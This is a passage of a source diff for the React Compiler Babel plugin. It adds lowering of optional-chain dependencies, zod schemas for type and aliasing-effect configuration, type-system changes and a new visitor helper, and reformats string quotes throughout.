+   * instruction.
+   */
+  for (const path of dep.path) {
+    const next = makeTemporaryIdentifier(env.nextIdentifierId, loc);
+    builder.push({
+      lvalue: {
+        identifier: next,
+        kind: 'Identifier',
+        effect: Effect.Mutate,
+        reactive: dep.reactive,
+        loc,
+      },
+      value: {
+        kind: 'PropertyLoad',
+        object: {
+          identifier: curr,
+          kind: 'Identifier',
+          effect: Effect.Freeze,
+          reactive: dep.reactive,
+          loc,
+        },
+        property: path.property,
+        loc,
+      },
+      id: makeInstructionId(1),
+      loc: loc,
+      effects: null,
+    });
+    curr = next;
+  }
+  return curr;
+}
+
+/**
+ * Write a dependency into optional blocks.
+ *
+ * e.g. `a.b?.c.d` is written to an optional block that tests `a.b` and
+ * conditionally evaluates `c.d`.
+ */
+function writeOptionalDependency(
+  dep: ReactiveScopeDependency,
+  builder: HIRBuilder,
+  parentAlternate: BlockId | null,
+): Identifier {
+  const env = builder.environment;
+  /**
+   * Reserve an identifier which will be used to store the result of this
+   * dependency.
+   */
+  const dependencyValue: Place = {
+    kind: 'Identifier',
+    identifier: makeTemporaryIdentifier(env.nextIdentifierId, GeneratedSource),
+    effect: Effect.Mutate,
+    reactive: dep.reactive,
+    loc: GeneratedSource,
+  };
+
+  /**
+   * Reserve a block which is the fallthrough (and transitive successor) of this
+   * optional chain.
+   */
+  const continuationBlock = builder.reserve(builder.currentBlockKind());
+  let alternate;
+  if (parentAlternate != null) {
+    alternate = parentAlternate;
+  } else {
+    /**
+     * If an outermost alternate block has not been reserved, write one
+     *
+     * $N = Primitive undefined
+     * $M = StoreLocal $OptionalResult = $N
+     * goto fallthrough
+     */
+    alternate = builder.enter('value', () => {
+      const temp = lowerValueToTemporary(builder, {
+        kind: 'Primitive',
+        value: undefined,
+        loc: GeneratedSource,
+      });
+      lowerValueToTemporary(builder, {
+        kind: 'StoreLocal',
+        lvalue: {kind: InstructionKind.Const, place: {...dependencyValue}},
+        value: {...temp},
+        type: null,
+        loc: GeneratedSource,
+      });
+      return {
+        kind: 'goto',
+        variant: GotoVariant.Break,
+        block: continuationBlock.id,
+        id: makeInstructionId(0),
+        loc: GeneratedSource,
+      };
+    });
+  }
+
+  // Reserve the consequent block, which is the successor of the test block
+  const consequent = builder.reserve('value');
+
+  let testIdentifier: Identifier | null = null;
+  const testBlock = builder.enter('value', () => {
+    const testDependency = {
+      ...dep,
+      path: dep.path.slice(0, dep.path.length - 1),
+    };
+    const firstOptional = dep.path.findIndex(path => path.optional);
+    CompilerError.invariant(firstOptional !== -1, {
+      reason:
+        '[ScopeDependencyUtils] Internal invariant broken: expected optional path',
+      loc: dep.identifier.loc,
+    });
+    if (firstOptional === dep.path.length - 1) {
+      // Base case: the test block is simple
+      testIdentifier = writeNonOptionalDependency(testDependency, env, builder);
+    } else {
+      // Otherwise, the test block is a nested optional chain
+      testIdentifier = writeOptionalDependency(
+        testDependency,
+        builder,
+        alternate,
+      );
+    }
+
+    return {
+      kind: 'branch',
+      test: {
+        identifier: testIdentifier,
+        effect: Effect.Freeze,
+        kind: 'Identifier',
+        loc: GeneratedSource,
+        reactive: dep.reactive,
+      },
+      consequent: consequent.id,
+      alternate,
+      id: makeInstructionId(0),
+      loc: GeneratedSource,
+      fallthrough: continuationBlock.id,
+    };
+  });
+
+  builder.enterReserved(consequent, () => {
+    CompilerError.invariant(testIdentifier !== null, {
+      reason: 'Satisfy type checker',
+      loc: GeneratedSource,
+    });
+
+    lowerValueToTemporary(builder, {
+      kind: 'StoreLocal',
+      lvalue: {kind: InstructionKind.Const, place: {...dependencyValue}},
+      value: lowerValueToTemporary(builder, {
+        kind: 'PropertyLoad',
+        object: {
+          identifier: testIdentifier,
+          kind: 'Identifier',
+          effect: Effect.Freeze,
+          reactive: dep.reactive,
+          loc: GeneratedSource,
+        },
+        property: dep.path.at(-1)!.property,
+        loc: GeneratedSource,
+      }),
+      type: null,
+      loc: GeneratedSource,
+    });
+    return {
+      kind: 'goto',
+      variant: GotoVariant.Break,
+      block: continuationBlock.id,
+      id: makeInstructionId(0),
+      loc: GeneratedSource,
+    };
+  });
+  builder.terminateWithContinuation(
+    {
+      kind: 'optional',
+      optional: dep.path.at(-1)!.optional,
+      test: testBlock,
+      fallthrough: continuationBlock.id,
+      id: makeInstructionId(0),
+      loc: GeneratedSource,
+    },
+    continuationBlock,
+  );
+
+  return dependencyValue.identifier;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/HIR/TypeSchema.ts b/compiler/packages/babel-plugin-react-compiler/src/HIR/TypeSchema.ts
new file mode 100644
index 000000000000..eeaaebf7a39d
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/HIR/TypeSchema.ts
@@ -0,0 +1,325 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {isValidIdentifier} from '@babel/types';
+import {z} from 'zod/v4';
+import {Effect, ValueKind} from '..';
+import {
+  EffectSchema,
+  ValueKindSchema,
+  ValueReason,
+  ValueReasonSchema,
+} from './HIR';
+
+export type ObjectPropertiesConfig = {[key: string]: TypeConfig};
+export const ObjectPropertiesSchema: z.ZodType<ObjectPropertiesConfig> = z
+  .record(
+    z.string(),
+    z.lazy(() => TypeSchema),
+  )
+  .refine(record => {
+    return Object.keys(record).every(
+      key => key === '*' || key === 'default' || isValidIdentifier(key),
+    );
+  }, 'Expected all "object" property names to be valid identifier, `*` to match any property, of `default` to define a module default export');
+
+export type ObjectTypeConfig = {
+  kind: 'object';
+  properties: ObjectPropertiesConfig | null;
+};
+export const ObjectTypeSchema: z.ZodType<ObjectTypeConfig> = z.object({
+  kind: z.literal('object'),
+  properties: ObjectPropertiesSchema.nullable(),
+});
+
+export const LifetimeIdSchema = z.string().refine(id => id.startsWith('@'), {
+  message: "Placeholder names must start with '@'",
+});
+
+export type FreezeEffectConfig = {
+  kind: 'Freeze';
+  value: string;
+  reason: ValueReason;
+};
+
+export const FreezeEffectSchema: z.ZodType<FreezeEffectConfig> = z.object({
+  kind: z.literal('Freeze'),
+  value: LifetimeIdSchema,
+  reason: ValueReasonSchema,
+});
+
+export type MutateEffectConfig = {
+  kind: 'Mutate';
+  value: string;
+};
+
+export const MutateEffectSchema: z.ZodType<MutateEffectConfig> = z.object({
+  kind: z.literal('Mutate'),
+  value: LifetimeIdSchema,
+});
+
+export type MutateTransitiveConditionallyConfig = {
+  kind: 'MutateTransitiveConditionally';
+  value: string;
+};
+
+export const MutateTransitiveConditionallySchema: z.ZodType<MutateTransitiveConditionallyConfig> =
+  z.object({
+    kind: z.literal('MutateTransitiveConditionally'),
+    value: LifetimeIdSchema,
+  });
+
+export type CreateEffectConfig = {
+  kind: 'Create';
+  into: string;
+  value: ValueKind;
+  reason: ValueReason;
+};
+
+export const CreateEffectSchema: z.ZodType<CreateEffectConfig> = z.object({
+  kind: z.literal('Create'),
+  into: LifetimeIdSchema,
+  value: ValueKindSchema,
+  reason: ValueReasonSchema,
+});
+
+export type AssignEffectConfig = {
+  kind: 'Assign';
+  from: string;
+  into: string;
+};
+
+export const AssignEffectSchema: z.ZodType<AssignEffectConfig> = z.object({
+  kind: z.literal('Assign'),
+  from: LifetimeIdSchema,
+  into: LifetimeIdSchema,
+});
+
+export type AliasEffectConfig = {
+  kind: 'Alias';
+  from: string;
+  into: string;
+};
+
+export const AliasEffectSchema: z.ZodType<AliasEffectConfig> = z.object({
+  kind: z.literal('Alias'),
+  from: LifetimeIdSchema,
+  into: LifetimeIdSchema,
+});
+
+export type ImmutableCaptureEffectConfig = {
+  kind: 'ImmutableCapture';
+  from: string;
+  into: string;
+};
+
+export const ImmutableCaptureEffectSchema: z.ZodType<ImmutableCaptureEffectConfig> =
+  z.object({
+    kind: z.literal('ImmutableCapture'),
+    from: LifetimeIdSchema,
+    into: LifetimeIdSchema,
+  });
+
+export type CaptureEffectConfig = {
+  kind: 'Capture';
+  from: string;
+  into: string;
+};
+
+export const CaptureEffectSchema: z.ZodType<CaptureEffectConfig> = z.object({
+  kind: z.literal('Capture'),
+  from: LifetimeIdSchema,
+  into: LifetimeIdSchema,
+});
+
+export type CreateFromEffectConfig = {
+  kind: 'CreateFrom';
+  from: string;
+  into: string;
+};
+
+export const CreateFromEffectSchema: z.ZodType<CreateFromEffectConfig> =
+  z.object({
+    kind: z.literal('CreateFrom'),
+    from: LifetimeIdSchema,
+    into: LifetimeIdSchema,
+  });
+
+export type ApplyArgConfig =
+  | string
+  | {kind: 'Spread'; place: string}
+  | {kind: 'Hole'};
+
+export const ApplyArgSchema: z.ZodType<ApplyArgConfig> = z.union([
+  LifetimeIdSchema,
+  z.object({
+    kind: z.literal('Spread'),
+    place: LifetimeIdSchema,
+  }),
+  z.object({
+    kind: z.literal('Hole'),
+  }),
+]);
+
+export type ApplyEffectConfig = {
+  kind: 'Apply';
+  receiver: string;
+  function: string;
+  mutatesFunction: boolean;
+  args: Array<ApplyArgConfig>;
+  into: string;
+};
+
+export const ApplyEffectSchema: z.ZodType<ApplyEffectConfig> = z.object({
+  kind: z.literal('Apply'),
+  receiver: LifetimeIdSchema,
+  function: LifetimeIdSchema,
+  mutatesFunction: z.boolean(),
+  args: z.array(ApplyArgSchema),
+  into: LifetimeIdSchema,
+});
+
+export type ImpureEffectConfig = {
+  kind: 'Impure';
+  place: string;
+};
+
+export const ImpureEffectSchema: z.ZodType<ImpureEffectConfig> = z.object({
+  kind: z.literal('Impure'),
+  place: LifetimeIdSchema,
+});
+
+export type AliasingEffectConfig =
+  | FreezeEffectConfig
+  | CreateEffectConfig
+  | CreateFromEffectConfig
+  | AssignEffectConfig
+  | AliasEffectConfig
+  | CaptureEffectConfig
+  | ImmutableCaptureEffectConfig
+  | ImpureEffectConfig
+  | MutateEffectConfig
+  | MutateTransitiveConditionallyConfig
+  | ApplyEffectConfig;
+
+export const AliasingEffectSchema: z.ZodType<AliasingEffectConfig> = z.union([
+  FreezeEffectSchema,
+  CreateEffectSchema,
+  CreateFromEffectSchema,
+  AssignEffectSchema,
+  AliasEffectSchema,
+  CaptureEffectSchema,
+  ImmutableCaptureEffectSchema,
+  ImpureEffectSchema,
+  MutateEffectSchema,
+  MutateTransitiveConditionallySchema,
+  ApplyEffectSchema,
+]);
+
+export type AliasingSignatureConfig = {
+  receiver: string;
+  params: Array<string>;
+  rest: string | null;
+  returns: string;
+  effects: Array<AliasingEffectConfig>;
+  temporaries: Array<string>;
+};
+
+export const AliasingSignatureSchema: z.ZodType<AliasingSignatureConfig> =
+  z.object({
+    receiver: LifetimeIdSchema,
+    params: z.array(LifetimeIdSchema),
+    rest: LifetimeIdSchema.nullable(),
+    returns: LifetimeIdSchema,
+    effects: z.array(AliasingEffectSchema),
+    temporaries: z.array(LifetimeIdSchema),
+  });
+
+export type FunctionTypeConfig = {
+  kind: 'function';
+  positionalParams: Array<Effect>;
+  restParam: Effect | null;
+  calleeEffect: Effect;
+  returnType: TypeConfig;
+  returnValueKind: ValueKind;
+  noAlias?: boolean | null | undefined;
+  mutableOnlyIfOperandsAreMutable?: boolean | null | undefined;
+  impure?: boolean | null | undefined;
+  canonicalName?: string | null | undefined;
+  aliasing?: AliasingSignatureConfig | null | undefined;
+  knownIncompatible?: string | null | undefined;
+};
+export const FunctionTypeSchema: z.ZodType<FunctionTypeConfig> = z.object({
+  kind: z.literal('function'),
+  positionalParams: z.array(EffectSchema),
+  restParam: EffectSchema.nullable(),
+  calleeEffect: EffectSchema,
+  returnType: z.lazy(() => TypeSchema),
+  returnValueKind: ValueKindSchema,
+  noAlias: z.boolean().nullable().optional(),
+  mutableOnlyIfOperandsAreMutable: z.boolean().nullable().optional(),
+  impure: z.boolean().nullable().optional(),
+  canonicalName: z.string().nullable().optional(),
+  aliasing: AliasingSignatureSchema.nullable().optional(),
+  knownIncompatible: z.string().nullable().optional(),
+});
+
+export type HookTypeConfig = {
+  kind: 'hook';
+  positionalParams?: Array<Effect> | null | undefined;
+  restParam?: Effect | null | undefined;
+  returnType: TypeConfig;
+  returnValueKind?: ValueKind | null | undefined;
+  noAlias?: boolean | null | undefined;
+  aliasing?: AliasingSignatureConfig | null | undefined;
+  knownIncompatible?: string | null | undefined;
+};
+export const HookTypeSchema: z.ZodType<HookTypeConfig> = z.object({
+  kind: z.literal('hook'),
+  positionalParams: z.array(EffectSchema).nullable().optional(),
+  restParam: EffectSchema.nullable().optional(),
+  returnType: z.lazy(() => TypeSchema),
+  returnValueKind: ValueKindSchema.nullable().optional(),
+  noAlias: z.boolean().nullable().optional(),
+  aliasing: AliasingSignatureSchema.nullable().optional(),
+  knownIncompatible: z.string().nullable().optional(),
+});
+
+export type BuiltInTypeConfig =
+  | 'Any'
+  | 'Ref'
+  | 'Array'
+  | 'Primitive'
+  | 'MixedReadonly';
+export const BuiltInTypeSchema: z.ZodType<BuiltInTypeConfig> = z.union([
+  z.literal('Any'),
+  z.literal('Ref'),
+  z.literal('Array'),
+  z.literal('Primitive'),
+  z.literal('MixedReadonly'),
+]);
+
+export type TypeReferenceConfig = {
+  kind: 'type';
+  name: BuiltInTypeConfig;
+};
+export const TypeReferenceSchema: z.ZodType<TypeReferenceConfig> = z.object({
+  kind: z.literal('type'),
+  name: BuiltInTypeSchema,
+});
+
+export type TypeConfig =
+  | ObjectTypeConfig
+  | FunctionTypeConfig
+  | HookTypeConfig
+  | TypeReferenceConfig;
+export const TypeSchema: z.ZodType<TypeConfig> = z.union([
+  ObjectTypeSchema,
+  FunctionTypeSchema,
+  HookTypeSchema,
+  TypeReferenceSchema,
+]);
diff --git a/compiler/packages/babel-plugin-react-compiler/src/HIR/Types.ts b/compiler/packages/babel-plugin-react-compiler/src/HIR/Types.ts
index be9ce00013c1..f126ab7aa6e2 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/HIR/Types.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/HIR/Types.ts
@@ -5,7 +5,8 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { CompilerError } from "../CompilerError";
+import {CompilerError} from '../CompilerError';
+import {GeneratedSource, PropertyLiteral} from './HIR';
 
 export type BuiltInType = PrimitiveType | FunctionType | ObjectType;
 
@@ -16,7 +17,7 @@ export type Type =
   | PolyType
   | PropType
   | ObjectMethod;
-export type PrimitiveType = { kind: "Primitive" };
+export type PrimitiveType = {kind: 'Primitive'};
 
 /*
  * An {@link FunctionType} or {@link ObjectType} (also a JS object) may be associated with an
@@ -34,36 +35,45 @@ export type PrimitiveType = { kind: "Primitive" };
  */
 
 export type FunctionType = {
-  kind: "Function";
+  kind: 'Function';
   shapeId: string | null;
   return: Type;
+  isConstructor: boolean;
 };
 
 export type ObjectType = {
-  kind: "Object";
+  kind: 'Object';
   shapeId: string | null;
 };
 
 export type TypeVar = {
-  kind: "Type";
+  kind: 'Type';
   id: TypeId;
 };
 export type PolyType = {
-  kind: "Poly";
+  kind: 'Poly';
 };
 export type PhiType = {
-  kind: "Phi";
+  kind: 'Phi';
   operands: Array<Type>;
 };
 export type PropType = {
-  kind: "Property";
+  kind: 'Property';
   objectType: Type;
   objectName: string;
-  propertyName: string;
+  propertyName:
+    | {
+        kind: 'literal';
+        value: PropertyLiteral;
+      }
+    | {
+        kind: 'computed';
+        value: Type;
+      };
 };
 
 export type ObjectMethod = {
-  kind: "ObjectMethod";
+  kind: 'ObjectMethod';
 };
 
 /*
@@ -71,14 +81,12 @@ export type ObjectMethod = {
  * accidentally.
  */
 const opaqueTypeId = Symbol();
-export type TypeId = number & { [opaqueTypeId]: "IdentifierId" };
+export type TypeId = number & {[opaqueTypeId]: 'IdentifierId'};
 
 export function makeTypeId(id: number): TypeId {
   CompilerError.invariant(id >= 0 && Number.isInteger(id), {
-    reason: "Expected instruction id to be a non-negative integer",
-    description: null,
-    loc: null,
-    suggestions: null,
+    reason: 'Expected instruction id to be a non-negative integer',
+    loc: GeneratedSource,
   });
   return id as TypeId;
 }
@@ -86,7 +94,7 @@ export function makeTypeId(id: number): TypeId {
 let typeCounter = 0;
 export function makeType(): TypeVar {
   return {
-    kind: "Type",
+    kind: 'Type',
     id: makeTypeId(typeCounter++),
   };
 }
@@ -97,40 +105,41 @@ export function makeType(): TypeVar {
  */
 export function duplicateType(type: Type): Type {
   switch (type.kind) {
-    case "Function": {
+    case 'Function': {
       return {
-        kind: "Function",
+        kind: 'Function',
         return: duplicateType(type.return),
         shapeId: type.shapeId,
+        isConstructor: type.isConstructor,
       };
     }
-    case "Object": {
-      return { kind: "Object", shapeId: type.shapeId };
+    case 'Object': {
+      return {kind: 'Object', shapeId: type.shapeId};
     }
-    case "ObjectMethod": {
-      return { kind: "ObjectMethod" };
+    case 'ObjectMethod': {
+      return {kind: 'ObjectMethod'};
     }
-    case "Phi": {
+    case 'Phi': {
       return {
-        kind: "Phi",
-        operands: type.operands.map((operand) => duplicateType(operand)),
+        kind: 'Phi',
+        operands: type.operands.map(operand => duplicateType(operand)),
       };
     }
-    case "Poly": {
-      return { kind: "Poly" };
+    case 'Poly': {
+      return {kind: 'Poly'};
     }
-    case "Primitive": {
-      return { kind: "Primitive" };
+    case 'Primitive': {
+      return {kind: 'Primitive'};
     }
-    case "Property": {
+    case 'Property': {
       return {
-        kind: "Property",
+        kind: 'Property',
         objectType: duplicateType(type.objectType),
         objectName: type.objectName,
         propertyName: type.propertyName,
       };
     }
-    case "Type": {
+    case 'Type': {
       return makeType();
     }
   }
@@ -151,7 +160,7 @@ export function typeEquals(tA: Type, tB: Type): boolean {
 }
 
 function typeVarEquals(tA: Type, tB: Type): boolean {
-  if (tA.kind === "Type" && tB.kind === "Type") {
+  if (tA.kind === 'Type' && tB.kind === 'Type') {
     return tA.id === tB.id;
   }
   return false;
@@ -162,11 +171,11 @@ function typeKindCheck(tA: Type, tb: Type, type: string): boolean {
 }
 
 function objectMethodTypeEquals(tA: Type, tB: Type): boolean {
-  return typeKindCheck(tA, tB, "ObjectMethod");
+  return typeKindCheck(tA, tB, 'ObjectMethod');
 }
 
 function propTypeEquals(tA: Type, tB: Type): boolean {
-  if (tA.kind === "Property" && tB.kind === "Property") {
+  if (tA.kind === 'Property' && tB.kind === 'Property') {
     if (!typeEquals(tA.objectType, tB.objectType)) {
       return false;
     }
@@ -180,15 +189,15 @@ function propTypeEquals(tA: Type, tB: Type): boolean {
 }
 
 function primitiveTypeEquals(tA: Type, tB: Type): boolean {
-  return typeKindCheck(tA, tB, "Primitive");
+  return typeKindCheck(tA, tB, 'Primitive');
 }
 
 function polyTypeEquals(tA: Type, tB: Type): boolean {
-  return typeKindCheck(tA, tB, "Poly");
+  return typeKindCheck(tA, tB, 'Poly');
 }
 
 function objectTypeEquals(tA: Type, tB: Type): boolean {
-  if (tA.kind === "Object" && tB.kind == "Object") {
+  if (tA.kind === 'Object' && tB.kind == 'Object') {
     return tA.shapeId === tB.shapeId;
   }
 
@@ -196,14 +205,14 @@ function objectTypeEquals(tA: Type, tB: Type): boolean {
 }
 
 function funcTypeEquals(tA: Type, tB: Type): boolean {
-  if (tA.kind !== "Function" || tB.kind !== "Function") {
+  if (tA.kind !== 'Function' || tB.kind !== 'Function') {
     return false;
   }
   return typeEquals(tA.return, tB.return);
 }
 
 function phiTypeEquals(tA: Type, tB: Type): boolean {
-  if (tA.kind === "Phi" && tB.kind === "Phi") {
+  if (tA.kind === 'Phi' && tB.kind === 'Phi') {
     if (tA.operands.length !== tB.operands.length) {
       return false;
     }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/HIR/index.ts b/compiler/packages/babel-plugin-react-compiler/src/HIR/index.ts
index b17d3a09d08b..bbc9b325d477 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/HIR/index.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/HIR/index.ts
@@ -5,29 +5,31 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-export { assertConsistentIdentifiers } from "./AssertConsistentIdentifiers";
-export { assertTerminalSuccessorsExist } from "./AssertTerminalSuccessorsExist";
-export { assertValidBlockNesting } from "./AssertValidBlockNesting";
-export { assertValidMutableRanges } from "./AssertValidMutableRanges";
-export { lower } from "./BuildHIR";
-export { buildReactiveScopeTerminalsHIR } from "./BuildReactiveScopeTerminalsHIR";
-export { computeDominatorTree, computePostDominatorTree } from "./Dominator";
+export {assertConsistentIdentifiers} from './AssertConsistentIdentifiers';
+export {
+  assertTerminalSuccessorsExist,
+  assertTerminalPredsExist,
+} from './AssertTerminalBlocksExist';
+export {assertValidBlockNesting} from './AssertValidBlockNesting';
+export {assertValidMutableRanges} from './AssertValidMutableRanges';
+export {lower} from './BuildHIR';
+export {buildReactiveScopeTerminalsHIR} from './BuildReactiveScopeTerminalsHIR';
+export {computeDominatorTree, computePostDominatorTree} from './Dominator';
 export {
   Environment,
-  parseConfigPragma,
   validateEnvironmentConfig,
   type EnvironmentConfig,
   type ExternalFunction,
   type Hook,
-} from "./Environment";
-export * from "./HIR";
+} from './Environment';
+export * from './HIR';
 export {
   markInstructionIds,
   markPredecessors,
   removeUnnecessaryTryCatch,
   reversePostorderBlocks,
-} from "./HIRBuilder";
-export { mergeConsecutiveBlocks } from "./MergeConsecutiveBlocks";
-export { mergeOverlappingReactiveScopesHIR } from "./MergeOverlappingReactiveScopesHIR";
-export { printFunction, printHIR } from "./PrintHIR";
-export { pruneUnusedLabelsHIR } from "./PruneUnusedLabelsHIR";
+} from './HIRBuilder';
+export {mergeConsecutiveBlocks} from './MergeConsecutiveBlocks';
+export {mergeOverlappingReactiveScopesHIR} from './MergeOverlappingReactiveScopesHIR';
+export {printFunction, printHIR, printFunctionWithOutlined} from './PrintHIR';
+export {pruneUnusedLabelsHIR} from './PruneUnusedLabelsHIR';
diff --git a/compiler/packages/babel-plugin-react-compiler/src/HIR/visitors.ts b/compiler/packages/babel-plugin-react-compiler/src/HIR/visitors.ts
index beda6e4a2054..abad1bbdf654 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/HIR/visitors.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/HIR/visitors.ts
@@ -5,22 +5,27 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { assertExhaustive } from "../Utils/utils";
+import {assertExhaustive} from '../Utils/utils';
+import {CompilerError} from '..';
 import {
+  BasicBlock,
   BlockId,
   Instruction,
+  InstructionKind,
   InstructionValue,
   makeInstructionId,
   Pattern,
   Place,
   ReactiveInstruction,
+  ReactiveScope,
   ReactiveValue,
+  ScopeId,
   SpreadPattern,
   Terminal,
-} from "./HIR";
+} from './HIR';
 
 export function* eachInstructionLValue(
-  instr: ReactiveInstruction
+  instr: ReactiveInstruction,
 ): Iterable<Place> {
   if (instr.lvalue !== null) {
     yield instr.lvalue;
@@ -28,23 +33,49 @@ export function* eachInstructionLValue(
   yield* eachInstructionValueLValue(instr.value);
 }
 
+export function* eachInstructionLValueWithKind(
+  instr: ReactiveInstruction,
+): Iterable<[Place, InstructionKind]> {
+  switch (instr.value.kind) {
+    case 'DeclareContext':
+    case 'StoreContext':
+    case 'DeclareLocal':
+    case 'StoreLocal': {
+      yield [instr.value.lvalue.place, instr.value.lvalue.kind];
+      break;
+    }
+    case 'Destructure': {
+      const kind = instr.value.lvalue.kind;
+      for (const place of eachPatternOperand(instr.value.lvalue.pattern)) {
+        yield [place, kind];
+      }
+      break;
+    }
+    case 'PostfixUpdate':
+    case 'PrefixUpdate': {
+      yield [instr.value.lvalue, InstructionKind.Reassign];
+      break;
+    }
+  }
+}
+
 export function* eachInstructionValueLValue(
-  value: ReactiveValue
+  value: ReactiveValue,
 ): Iterable<Place> {
   switch (value.kind) {
-    case "DeclareContext":
-    case "StoreContext":
-    case "DeclareLocal":
-    case "StoreLocal": {
+    case 'DeclareContext':
+    case 'StoreContext':
+    case 'DeclareLocal':
+    case 'StoreLocal': {
       yield value.lvalue.place;
       break;
     }
-    case "Destructure": {
+    case 'Destructure': {
       yield* eachPatternOperand(value.lvalue.pattern);
       break;
     }
-    case "PostfixUpdate":
-    case "PrefixUpdate": {
+    case 'PostfixUpdate':
+    case 'PrefixUpdate': {
       yield value.lvalue;
       break;
     }
@@ -55,103 +86,103 @@ export function* eachInstructionOperand(instr: Instruction): Iterable<Place> {
   yield* eachInstructionValueOperand(instr.value);
 }
 export function* eachInstructionValueOperand(
-  instrValue: InstructionValue
+  instrValue: InstructionValue,
 ): Iterable<Place> {
   switch (instrValue.kind) {
-    case "NewExpression":
-    case "CallExpression": {
+    case 'NewExpression':
+    case 'CallExpression': {
       yield instrValue.callee;
       yield* eachCallArgument(instrValue.args);
       break;
     }
-    case "BinaryExpression": {
+    case 'BinaryExpression': {
       yield instrValue.left;
       yield instrValue.right;
       break;
     }
-    case "MethodCall": {
+    case 'MethodCall': {
       yield instrValue.receiver;
       yield instrValue.property;
       yield* eachCallArgument(instrValue.args);
       break;
     }
-    case "DeclareContext":
-    case "DeclareLocal": {
+    case 'DeclareContext':
+    case 'DeclareLocal': {
       break;
     }
-    case "LoadLocal":
-    case "LoadContext": {
+    case 'LoadLocal':
+    case 'LoadContext': {
       yield instrValue.place;
       break;
     }
-    case "StoreLocal": {
+    case 'StoreLocal': {
       yield instrValue.value;
       break;
     }
-    case "StoreContext": {
+    case 'StoreContext': {
       yield instrValue.lvalue.place;
       yield instrValue.value;
       break;
     }
-    case "StoreGlobal": {
+    case 'StoreGlobal': {
       yield instrValue.value;
       break;
     }
-    case "Destructure": {
+    case 'Destructure': {
       yield instrValue.value;
       break;
     }
-    case "PropertyLoad": {
+    case 'PropertyLoad': {
       yield instrValue.object;
       break;
     }
-    case "PropertyDelete": {
+    case 'PropertyDelete': {
       yield instrValue.object;
       break;
     }
-    case "PropertyStore": {
+    case 'PropertyStore': {
       yield instrValue.object;
       yield instrValue.value;
       break;
     }
-    case "ComputedLoad": {
+    case 'ComputedLoad': {
       yield instrValue.object;
       yield instrValue.property;
       break;
     }
-    case "ComputedDelete": {
+    case 'ComputedDelete': {
       yield instrValue.object;
       yield instrValue.property;
       break;
     }
-    case "ComputedStore": {
+    case 'ComputedStore': {
       yield instrValue.object;
       yield instrValue.property;
       yield instrValue.value;
       break;
     }
-    case "UnaryExpression": {
+    case 'UnaryExpression': {
       yield instrValue.value;
       break;
     }
-    case "JsxExpression": {
-      if (instrValue.tag.kind === "Identifier") {
+    case 'JsxExpression': {
+      if (instrValue.tag.kind === 'Identifier') {
         yield instrValue.tag;
       }
       for (const attribute of instrValue.props) {
         switch (attribute.kind) {
-          case "JsxAttribute": {
+          case 'JsxAttribute': {
             yield attribute.place;
             break;
           }
-          case "JsxSpreadAttribute": {
+          case 'JsxSpreadAttribute': {
             yield attribute.argument;
             break;
           }
           default: {
             assertExhaustive(
               attribute,
-              `Unexpected attribute kind \`${(attribute as any).kind}\``
+              `Unexpected attribute kind \`${(attribute as any).kind}\``,
             );
           }
         }
@@ -161,15 +192,15 @@ export function* eachInstructionValueOperand(
       }
       break;
     }
-    case "JsxFragment": {
+    case 'JsxFragment': {
       yield* instrValue.children;
       break;
     }
-    case "ObjectExpression": {
+    case 'ObjectExpression': {
       for (const property of instrValue.properties) {
         if (
-          property.kind === "ObjectProperty" &&
-          property.key.kind === "computed"
+          property.kind === 'ObjectProperty' &&
+          property.key.kind === 'computed'
         ) {
           yield property.key.name;
         }
@@ -177,92 +208,92 @@ export function* eachInstructionValueOperand(
       }
       break;
     }
-    case "ArrayExpression": {
+    case 'ArrayExpression': {
       for (const element of instrValue.elements) {
-        if (element.kind === "Identifier") {
+        if (element.kind === 'Identifier') {
           yield element;
-        } else if (element.kind === "Spread") {
+        } else if (element.kind === 'Spread') {
           yield element.place;
         }
       }
       break;
     }
-    case "ObjectMethod":
-    case "FunctionExpression": {
-      yield* instrValue.loweredFunc.dependencies;
+    case 'ObjectMethod':
+    case 'FunctionExpression': {
+      yield* instrValue.loweredFunc.func.context;
       break;
     }
-    case "TaggedTemplateExpression": {
+    case 'TaggedTemplateExpression': {
       yield instrValue.tag;
       break;
     }
-    case "TypeCastExpression": {
+    case 'TypeCastExpression': {
       yield instrValue.value;
       break;
     }
-    case "TemplateLiteral": {
+    case 'TemplateLiteral': {
       yield* instrValue.subexprs;
       break;
     }
-    case "Await": {
+    case 'Await': {
       yield instrValue.value;
       break;
     }
-    case "GetIterator": {
+    case 'GetIterator': {
       yield instrValue.collection;
       break;
     }
-    case "IteratorNext": {
+    case 'IteratorNext': {
       yield instrValue.iterator;
       yield instrValue.collection;
       break;
     }
-    case "NextPropertyOf": {
+    case 'NextPropertyOf': {
       yield instrValue.value;
       break;
     }
-    case "PostfixUpdate":
-    case "PrefixUpdate": {
+    case 'PostfixUpdate':
+    case 'PrefixUpdate': {
       yield instrValue.value;
       break;
     }
-    case "StartMemoize": {
+    case 'StartMemoize': {
       if (instrValue.deps != null) {
         for (const dep of instrValue.deps) {
-          if (dep.root.kind === "NamedLocal") {
+          if (dep.root.kind === 'NamedLocal') {
             yield dep.root.value;
           }
         }
       }
       break;
     }
-    case "FinishMemoize": {
+    case 'FinishMemoize': {
       yield instrValue.decl;
       break;
     }
-    case "Debugger":
-    case "RegExpLiteral":
-    case "MetaProperty":
-    case "LoadGlobal":
-    case "UnsupportedNode":
-    case "Primitive":
-    case "JSXText": {
+    case 'Debugger':
+    case 'RegExpLiteral':
+    case 'MetaProperty':
+    case 'LoadGlobal':
+    case 'UnsupportedNode':
+    case 'Primitive':
+    case 'JSXText': {
       break;
     }
     default: {
       assertExhaustive(
         instrValue,
-        `Unexpected instruction kind \`${(instrValue as any).kind}\``
+        `Unexpected instruction kind \`${(instrValue as any).kind}\``,
       );
     }
   }
 }
 
 export function* eachCallArgument(
-  args: Array<Place | SpreadPattern>
+  args: Array<Place | SpreadPattern>,
